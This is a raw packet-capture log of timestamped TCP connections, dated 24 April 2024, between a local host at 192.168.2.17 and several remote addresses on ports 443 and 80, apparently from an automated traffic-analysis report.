Apr 24, 2024 15:43:25.021023035 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.021035910 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.021955967 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022020102 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.022033930 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022144079 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022192955 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.022206068 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022675991 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022736073 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.022748947 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022831917 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.022887945 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.022901058 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.023824930 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.023900032 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.023914099 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.038640022 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.038881063 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.038922071 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.039262056 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.039560080 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.039655924 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.039657116 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.041696072 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.041870117 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.041889906 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.042331934 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.042586088 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.042660952 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.042665958 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.042675972 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.076153994 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.084122896 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.092114925 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.092330933 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.174177885 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.174201012 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.174320936 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.174474955 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.174521923 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.175064087 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.175102949 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.175120115 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.175133944 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.175148964 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.175172091 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.175981998 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.176047087 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.176985025 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.177048922 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.177742004 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.177800894 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.178611994 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.178673029 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.178694963 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.178754091 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.179609060 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.179670095 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.180419922 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.180476904 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.181310892 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.181370020 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.181380033 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.181464911 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.181513071 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.181617022 CEST	49781	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.181632996 CEST	443	49781	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.346256018 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.346585035 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.346613884 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.347531080 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.347618103 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.348859072 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.348934889 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.349031925 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.349039078 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.351044893 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.351293087 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.351322889 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.354542017 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.354635954 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.354890108 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.354968071 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.354995966 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.392134905 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.400111914 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.408150911 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.408168077 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.409882069 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.409950018 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.409976959 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.410000086 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.410027981 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.410085917 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.410094023 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.410105944 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.410150051 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.411221027 CEST	49787	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.411238909 CEST	443	49787	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.416142941 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.416196108 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.416249037 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.416263103 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.416292906 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.416354895 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.417484045 CEST	49788	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:25.417495966 CEST	443	49788	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:25.455153942 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.023176908 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.023222923 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.023298025 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.023336887 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.023386955 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.024005890 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024207115 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024279118 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.024312019 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024349928 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024408102 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.024444103 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024688005 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024692059 CEST	49790	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.024734020 CEST	443	49790	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:26.024745941 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.025425911 CEST	49789	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:26.025465012 CEST	443	49789	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:30.547177076 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:30.547271967 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:30.547391891 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:30.547538996 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:30.547565937 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.062567949 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.062660933 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.065437078 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.065450907 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.065685987 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.066190004 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.066229105 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.066250086 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.177784920 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.177813053 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.177900076 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.211236000 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.211252928 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.482717037 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.482743979 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.482791901 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.482845068 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.482866049 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.482919931 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.482945919 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.483135939 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.483181000 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.483211040 CEST	49791	443	192.168.2.17	20.190.190.195
Apr 24, 2024 15:43:31.483226061 CEST	443	49791	20.190.190.195	192.168.2.17
Apr 24, 2024 15:43:31.655181885 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:43:31.655210972 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:43:31.680033922 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:31.680082083 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:31.680191994 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:31.682270050 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:31.682291031 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:31.737423897 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.737505913 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.741600037 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.741605043 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.741873980 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.790143967 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.796180964 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.844122887 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993427038 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993477106 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993506908 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993560076 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.993577957 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993609905 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993623972 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.993628979 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993732929 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.993736982 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993798018 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:31.993956089 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.999922037 CEST	49792	443	192.168.2.17	13.107.5.88
Apr 24, 2024 15:43:31.999933004 CEST	443	49792	13.107.5.88	192.168.2.17
Apr 24, 2024 15:43:32.185609102 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.185717106 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.186395884 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.186476946 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.256537914 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.256571054 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.257519960 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.257610083 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.259177923 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.259238958 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.626357079 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.626404047 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.626466036 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.626528025 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.626564026 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.626601934 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:32.626607895 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.626812935 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.629045963 CEST	49793	443	192.168.2.17	13.107.21.200
Apr 24, 2024 15:43:32.629080057 CEST	443	49793	13.107.21.200	192.168.2.17
Apr 24, 2024 15:43:36.169224977 CEST	49724	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:43:36.393342972 CEST	49723	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:43:36.509605885 CEST	80	49724	87.240.132.72	192.168.2.17
Apr 24, 2024 15:43:36.727823973 CEST	80	49723	87.240.132.72	192.168.2.17
Apr 24, 2024 15:43:47.888725042 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:43:47.888824940 CEST	443	49712	104.47.70.28	192.168.2.17
Apr 24, 2024 15:43:47.888937950 CEST	49712	443	192.168.2.17	104.47.70.28
Apr 24, 2024 15:43:49.667685032 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:49.667772055 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:49.667900085 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:49.668173075 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:49.668220997 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.002532005 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.002892017 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.002929926 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.003223896 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.003652096 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.003741026 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.003798962 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.044131994 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.056258917 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.393606901 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:43:50.393687010 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:43:50.393810987 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:43:50.394144058 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:43:50.394176960 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:43:50.778912067 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:43:50.779238939 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:43:50.779273033 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:43:50.779575109 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:43:50.779957056 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:43:50.780021906 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:43:50.810467958 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.810717106 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.810794115 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.811517954 CEST	49795	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.811551094 CEST	443	49795	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.814716101 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.814800978 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.814918995 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.815205097 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:50.815243959 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:50.824229956 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:43:51.148264885 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.148638964 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:51.148674965 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.149776936 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.150183916 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:51.150360107 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:51.150363922 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.191224098 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:51.191258907 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.507529020 CEST	80	49724	87.240.132.72	192.168.2.17
Apr 24, 2024 15:43:51.507636070 CEST	49724	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:43:51.897135973 CEST	49724	80	192.168.2.17	87.240.132.72
Apr 24, 2024 15:43:51.929316044 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.929552078 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:51.929627895 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:51.929995060 CEST	49797	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:51.930018902 CEST	443	49797	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:52.236520052 CEST	80	49724	87.240.132.72	192.168.2.17
Apr 24, 2024 15:44:00.806139946 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:44:00.806210995 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:44:00.806349993 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:44:01.902587891 CEST	49796	443	192.168.2.17	142.250.141.104
Apr 24, 2024 15:44:01.902640104 CEST	443	49796	142.250.141.104	192.168.2.17
Apr 24, 2024 15:44:06.105628014 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.105719090 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.105921984 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.106350899 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.106381893 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.259640932 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.259737015 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.259926081 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.260191917 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.260241032 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.455595970 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.456149101 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.456206083 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.457333088 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.457782984 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.457937002 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.457957029 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.502326012 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.608267069 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.608572960 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.608630896 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.610075951 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.610249043 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.611026049 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.611109972 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.611247063 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.611263990 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.662329912 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.848121881 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.848299980 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.848401070 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.848572016 CEST	49798	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.848591089 CEST	443	49798	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.849261999 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.849298000 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:06.849426985 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.849693060 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:06.849713087 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.001288891 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.001374006 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.001514912 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.001724005 CEST	49799	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.001758099 CEST	443	49799	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.002562046 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.002654076 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.002800941 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.003057003 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.003108978 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.200293064 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.200712919 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.200733900 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.201935053 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.202378988 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.202471972 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.202528954 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.202581882 CEST	49800	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.202600956 CEST	443	49800	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.356247902 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.356684923 CEST	49801	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:44:07.356746912 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.357954979 CEST	443	49801	35.190.80.1	192.168.2.17
Apr 24, 2024 15:44:07.358407974 CEST	49801	443	192.168.2.17	35.190.80.1
